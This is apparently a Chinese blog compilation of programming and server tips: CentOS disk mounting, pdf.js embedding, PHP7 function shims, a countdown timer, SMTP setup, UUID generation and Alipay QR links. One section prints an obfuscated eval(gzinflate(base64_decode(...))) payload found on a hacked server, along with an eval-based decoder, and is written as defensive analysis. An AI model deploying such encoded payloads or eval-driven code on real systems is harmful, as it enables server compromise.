Centos7磁盘挂载

查看已使用的磁盘情况:df -HT
查看所有磁盘:fdisk -l


查看指定磁盘的分区情况:fdisk -l /dev/xvdb


对显示的该磁盘进行格式化分区

 

对磁盘进行分区:fdisk /dev/xvdb(此处只分成1个区)


查看刚刚分配的磁盘号:fdisk -l


格式化磁盘:mkfs -t ext4 /dev/xvdb1

-t 表示指定格式化磁盘的文件系统类型为ext4,默认不指定为ext2(比较老的linux文件系统类型)


挂载磁盘,将/dev/xvdb磁盘挂载(mount)到文件系统的/data目录上

创建磁盘挂载目标文件夹:mkdir -p /data/fdisks

挂载磁盘:mount /dev/xvdb1 /data/fdisks


此时即可看到新挂载上的磁盘以及文件系统类型ext4

 

设置开机启动自动挂载磁盘分区

编辑/etc/fstab文件(防止系统重启后挂载丢失)

/etc/fstab是在开机引导的时候自动挂载到linux的文件系统。

编辑该文件,添加如下内容


重启系统:reboot


重启之后依然可以看到该磁盘分区

原文:https://blog.csdn.net/zhouruifu2015/article/details/77411549

挂马文件eval(gzinflate(base64_decode(解密方法

服务器被挂马了.发现是加密的代码.

通过以下代码进行解密

<?php
$a = "eval(gzinflate(base64_decode('bVFvS4NAHH4v+B1EZCos3dYKtiEtlrWgljkLIsbhvN92R3qK3moVfffuNMpgr+54eP7eqUoFHHGaAUppRrnVsyeqoioEYgylpc9yxoHxo+i9gLHGYc9dwrN0kpC4FEpvux4c9we6FOGYA8KwiXdp4/iRM0CCZJlBODMlxYguBFC+Qql5mk44L8auy/mLU2UnpyMnYeNRz9UnmmCSvOKIxRm0mLpjoKUfPvrhszmPogDN75aRuWqhwTwQ95tLcyXTfsqjbO1taApoK6YmDVZZf10c3aUMw94pSHEmcz0R9Jvv6J1dmXrt7PsHP3xCyyi8XlyJeL2D8yym7B+nOdHi/NY3V82bQkJyrVWqBg1h3hcbD27Q5EvI6rKIZE2BYQv2RZpjsEzX7NZy266Zmx1LOM2ZJr/0raQc4nUKVm1QT7FV5VNVpgnJctyCu73hcNhU/BI2B9R1vGQkcUIAyRIGpqVEvgE=')));";
function decodephp($a)
{
    $max_level = 300; //最大层数
    for ($i = 0; $i < $max_level; $i++) {
        ob_start();
        eval(str_replace('eval', 'echo', $a));
        $a = ob_get_clean();
        if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
            return $a;
        }
    }
}
echo decodephp($a);
?>

 

挂马的目的是推广灰色产业,鄙视一下这些人.

 

 

 

 

 

 

在线显示PDF文件js插件pdfjs使用方法

打开http://mozilla.github.io/pdf.js/getting_started/

下载Stable (v2.0.943)

解压所有文件到文件夹pdf.js

把文件夹pdf.js上传到服务器

服务器地址:

在线显示PDF文件方法

在地址栏中

http://www.wdja.cn/common/images/js/pdf.js/web/viewer.html?file=http://www.wdja.cn/demo.pdf

 

或者在代码中

<iframe src="web/viewer.html?file=http://www.wdja.cn/demo.pdf" width="100%" height="800px" id="Iframe"></iframe>

 

如果需要跨域调用pdf文件,则会报错

file origin does not match viewer's

 

目前暂无比较好的方法解决,期待PDF.js开发者在以后的版本中能解决.

重建一些被PHP7废弃的函数,

来源:https://blog.csdn.net/tty521/article/details/79873995

 

 
<?php
if(!function_exists('ereg'))            { function ereg($pattern, $subject, &$matches = []) { return preg_match('/'.$pattern.'/', $subject, $matches); } }
if(!function_exists('eregi'))           { function eregi($pattern, $subject, &$matches = []) { return preg_match('/'.$pattern.'/i', $subject, $matches); } }
if(!function_exists('ereg_replace'))    { function ereg_replace($pattern, $replacement, $string) { return preg_replace('/'.$pattern.'/', $replacement, $string); } }
if(!function_exists('eregi_replace'))   { function eregi_replace($pattern, $replacement, $string) { return preg_replace('/'.$pattern.'/i', $replacement, $string); } }
if(!function_exists('split'))           { function split($pattern, $subject, $limit = -1) { return preg_split('/'.$pattern.'/', $subject, $limit); } }
if(!function_exists('spliti'))          { function spliti($pattern, $subject, $limit = -1) { return preg_split('/'.$pattern.'/i', $subject, $limit); } }
 

 

 

php倒计时(定时)功能实现方法详解

PHP实现倒计时或定时功能都需要进行时间对比.

然后再通过对比的差值进行判断后,执行相应的代码块,来实现不同功能.

本文是通过PHP接合js来实现倒计时或定时功能的.

 

<?php
//php的时间是以秒算。js的时间以毫秒算
date_default_timezone_set("Asia/Hong_Kong");//地区
//配置每天的活动时间段
$starttimestr = "09:00:00";
$endtimestr = "13:50:00";
$starttime = strtotime($starttimestr);
$endtime = strtotime($endtimestr);
$nowtime = time();
if ($nowtime<$starttime){
die("活动还没开始,活动时间是:{$starttimestr}至{$endtimestr}");
}
$lefttime = $endtime-$nowtime; //实际剩下的时间(秒)
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PHP实时倒计时!</title>
<script language="JavaScript">
<!-- //
var runtimes = 0;
function GetRTime(){
var nMS = <?=$lefttime?>*1000-runtimes*1000;
var nH=Math.floor(nMS/(1000*60*60))%24;
var nM=Math.floor(nMS/(1000*60)) % 60;
var nS=Math.floor(nMS/1000) % 60;
document.getElementById("RemainH").innerHTML=nH;
document.getElementById("RemainM").innerHTML=nM;
document.getElementById("RemainS").innerHTML=nS;
if(nMS>5*59*1000&&nMS<=5*60*1000)
{
alert("还有最后五分钟!");
}
runtimes++;
setTimeout("GetRTime()",1000);
}
window.onload=GetRTime();
// -->
</script>
</head>
<body>
<h1><strong id="RemainH">XX</strong>:<strong id="RemainM">XX</strong>:<strong id="RemainS">XX</strong></h1>
</body>
</html>

 

以上代码来源于网络

通过对时间的判断,我们可以执行不同的代码来实现不同功能.

 

 

wdoyo使用QQ邮箱进行邮件发送设置

wdoyo使用QQ邮箱进行邮件发送设置

后台填写
smtp地址 smtp.qq.com
发信邮箱 qq邮箱地址(含@qq.com)
邮箱密码 在qq邮箱获取的授权码

打开/include/ext/syphpmailer.php

修改以下两行代码
public $Port = 465;
public $SMTPSecure = 'ssl';

保存即可.

这样就可以正常使用邮件发送功能了.

我们可以在留言提交成功通知前添加以下代码,用来实现留言邮件通知功能.

//留言邮件通知
$email = 'qq@qq.com';
$user = 'qq';
$subject = '网站留言提醒通知';
$body = '网站后台有新留言啦,赶快处理吧!';
$send=syClass('syphpmailer');
$send->Send($email,$user,$subject,$body);
//留言邮件通知
message('提交成功',$GLOBALS["WWW"]);

背景透明,内容不透明的方法

background-color:rgba(0,0,0,0.2);
filter:Alpha(opacity=20);
*zoom:1;

 

 

IE6 IE7 IE8 IE9 标准浏览器
rgba
filter : Alpha

 

或者使用两个标签,绝对定位的方式实现

UUID(通用唯一标识符)

UUID是由一组32位数的16进制数字所构成,是故UUID理论上的总数为16^32=2^128,约等于3.4 x 10^38。也就是说若每纳秒产生1兆个UUID,要花100亿年才会将所有UUID用完。
UUID的标准型式包含32个16进制数字,以连字号分为五段,形式为8-4-4-4-12的32个字符。示例:
550e8400-e29b-41d4-a716-446655440000
UUID亦可刻意重复以表示同类。例如说微软的COM中,所有组件皆必须实现出IUnknown接口,方法是产生一个代表IUnknown的UUID。无论是程序试图访问组件中的IUnknown接口,或是实现IUnknown接口的组件,只要IUnknown一被使用,皆会被参考至同一个ID:00000000-0000-0000-C000-000000000046。

生成方法

PHP

function uuid($prefix = '')
{
$chars = md5(uniqid(mt_rand(), true));
$uuid  = substr($chars,0,8) . '-';
$uuid .= substr($chars,8,4) . '-';
$uuid .= substr($chars,12,4) . '-';
$uuid .= substr($chars,16,4) . '-';
$uuid .= substr($chars,20,12);
return $prefix . $uuid;
}
//Example of using the function -
//Using without prefix.
echo uuid(); //Returns like ‘1225c695-cfb8-4ebb-aaaa-80da344e8352′

C#

using System;
namespace Demo{
public class Test{
public static void Main()
{
Guid guid=Guid.NewGuid();
Console.WriteLine(guid);
}
}
}

C++ //基于boost

#include <boost/uuid/uuid.hpp>
#include <boost/uuid/uuid_io.hpp>
#include <boost/uuid/uuid_generators.hpp>
boost::uuids::uuid zcq_uuid = boost::uuids::random_generator()(); // 这里是两个() ,因为这里是调用的 () 的运算符重载
const string dqsj_uuid = boost::uuids::to_string(zcq_uuid);

Java

packagecom.mytest;
importjava.util.UUID;
publicclassUTest {
publicstaticvoidmain(String[] args) {
UUID uuid = UUID.randomUUID();
System.out.println(uuid);
}
}

GO

package main
import(
"github.com/nu7hatch/gouuid"
"fmt"
)
func main(){
fmt.Println(uuid.NewV4())
}

Python

#coding=utf-8
import uuid
name = 'test_name'
namespace = 'test_namespace'
print uuid.uuid1()
print uuid.uuid3(namespace,name)
print uuid.uuid4()
print uuid.uuid5(namespace,name)

个人支付宝收款,支持订单任意金额生成二维码

个人支付宝收款,支持订单任意金额生成二维码

方法:

  1. 先获取自己的支付宝商户UID

查看地址是:https://openhome.alipay.com/platform/accountSetting.htm

2. 拼接二维码

alipays://platformapi/startapp?appId=20000123&actionType=scan&biz_data={"s": "money", "u": "2088202216609811", "a": "11.88", "m": "7637"}

其中appId=20000123是收款二维码,2088202216609811为我的uid,11.88为收款金额,m为订单号.

把上面的字符串生成收款二维码

即可使用二维码进行支付了.

3.上面是原理.

下面我们只需要两个技术即可实现网站的收款功能.

拼接以上二维码字符串,把对应的参数填充即可.

然后再用代码生成二维码就行啦.